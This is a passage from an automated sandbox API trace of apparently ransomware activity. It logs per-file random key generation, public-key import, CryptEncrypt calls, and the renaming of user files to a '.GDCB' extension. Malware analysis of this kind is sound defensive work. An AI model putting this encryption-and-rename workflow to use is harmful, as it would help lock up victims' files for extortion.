(lpAddress=0x0, dwSize=0x1e4b0, flAllocationType=0x3000, flProtect=0x4) returned 0x6cc0000 [0205.663] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\Low\\SmartScreenCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\low\\smartscreencache.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\Low\\SmartScreenCache.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\low\\smartscreencache.dat.gdcb")) returned 1 [0205.709] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0205.711] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.712] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.712] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.712] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.712] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0205.713] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.714] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.714] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.714] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.714] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.716] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0ad0) returned 1 [0205.716] CryptGetKeyParam (in: hKey=0x50d0ad0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.716] CryptEncrypt (in: hKey=0x50d0ad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b80000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b80000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.716] GetLastError () returned 0x0 [0205.716] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.716] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.718] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0c90) returned 1 [0205.718] CryptGetKeyParam (in: hKey=0x50d0c90, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.718] CryptEncrypt (in: hKey=0x50d0c90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b90000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b90000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.718] GetLastError () returned 0x0 [0205.718] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.718] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\appdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.724] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0205.726] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.727] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.727] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0205.727] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.727] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4540) returned 1 [0205.728] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.729] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.729] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0205.729] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0205.729] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0205.731] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1510) returned 1 [0205.731] CryptGetKeyParam (in: hKey=0x50d1510, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.731] CryptEncrypt (in: hKey=0x50d1510, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0205.731] GetLastError () returned 0x0 [0205.731] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.731] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0205.733] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1490) returned 1 [0205.733] CryptGetKeyParam (in: hKey=0x50d1490, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.733] CryptEncrypt (in: hKey=0x50d1490, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0205.733] GetLastError () returned 0x0 [0205.733] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.733] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\179e8db5.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\179e8db5.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0205.735] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0205.736] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0205.737] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x12c0, lpOverlapped=0x0) returned 1 [0205.745] VirtualAlloc (lpAddress=0x0, dwSize=0x12c0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0205.749] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\179e8db5.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\179e8db5.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\179e8db5.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\179e8db5.jpg.gdcb")) returned 1 [0205.753] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0205.755] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.755] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.756] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0205.756] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.756] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0205.757] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.758] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.758] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0205.758] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.758] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0205.760] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1590) returned 1 [0205.760] CryptGetKeyParam (in: hKey=0x50d1590, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.760] CryptEncrypt (in: hKey=0x50d1590, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0205.760] GetLastError () returned 0x0 [0205.760] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.760] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0205.762] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1150) returned 1 [0205.762] CryptGetKeyParam (in: hKey=0x50d1150, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.762] CryptEncrypt (in: hKey=0x50d1150, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0205.762] GetLastError () returned 0x0 [0205.762] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.762] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1ba49cb8.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1ba49cb8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0205.764] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0205.765] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0205.766] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x2260, lpOverlapped=0x0) returned 1 [0205.774] VirtualAlloc (lpAddress=0x0, dwSize=0x2260, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0205.778] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1ba49cb8.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1ba49cb8.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1ba49cb8.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1ba49cb8.jpg.gdcb")) returned 1 [0205.782] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0205.783] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.784] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.784] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0205.784] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.784] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0205.785] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.786] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.786] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0205.786] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.786] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0205.788] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1290) returned 1 [0205.789] CryptGetKeyParam (in: hKey=0x50d1290, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.789] CryptEncrypt (in: hKey=0x50d1290, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0205.789] GetLastError () returned 0x0 [0205.789] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.789] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0205.790] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1250) returned 1 [0205.791] CryptGetKeyParam (in: hKey=0x50d1250, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.791] CryptEncrypt (in: hKey=0x50d1250, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0205.791] GetLastError () returned 0x0 [0205.791] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.791] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1f43fcc4.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1f43fcc4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0205.792] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0205.793] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0205.794] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1ac0, lpOverlapped=0x0) returned 1 [0205.803] VirtualAlloc (lpAddress=0x0, dwSize=0x1ac0, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0205.807] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1f43fcc4.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1f43fcc4.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\1f43fcc4.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\1f43fcc4.jpg.gdcb")) returned 1 [0205.810] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0205.812] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.813] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.813] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0205.813] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.813] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0205.814] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.815] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.815] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0205.815] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.815] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0205.817] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d11d0) returned 1 [0205.817] CryptGetKeyParam (in: hKey=0x50d11d0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.817] CryptEncrypt (in: hKey=0x50d11d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6ba0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0205.817] GetLastError () returned 0x0 [0205.817] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.817] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0205.819] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1610) returned 1 [0205.819] CryptGetKeyParam (in: hKey=0x50d1610, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.819] CryptEncrypt (in: hKey=0x50d1610, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6bb0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0205.819] GetLastError () returned 0x0 [0205.819] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.819] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\3d12749e.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\3d12749e.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0205.821] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6bc0000 [0205.822] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bd0000 [0205.823] ReadFile (in: hFile=0x514, lpBuffer=0x6bd0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bd0000*, lpNumberOfBytesRead=0x285d3e8*=0x1980, lpOverlapped=0x0) returned 1 [0205.831] VirtualAlloc (lpAddress=0x0, dwSize=0x1980, flAllocationType=0x3000, flProtect=0x4) returned 0x6ce0000 [0205.835] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\3d12749e.jpg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\3d12749e.jpg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Notifications\\wpnidm\\3d12749e.jpg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\notifications\\wpnidm\\3d12749e.jpg.gdcb")) returned 1 [0205.839] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0205.840] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.841] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.841] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0205.841] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.841] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0205.843] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.843] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.843] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0205.843] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.844] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0205.846] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d1550) returned 1 [0205.846] CryptGetKeyParam (in: hKey=0x50d1550, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: 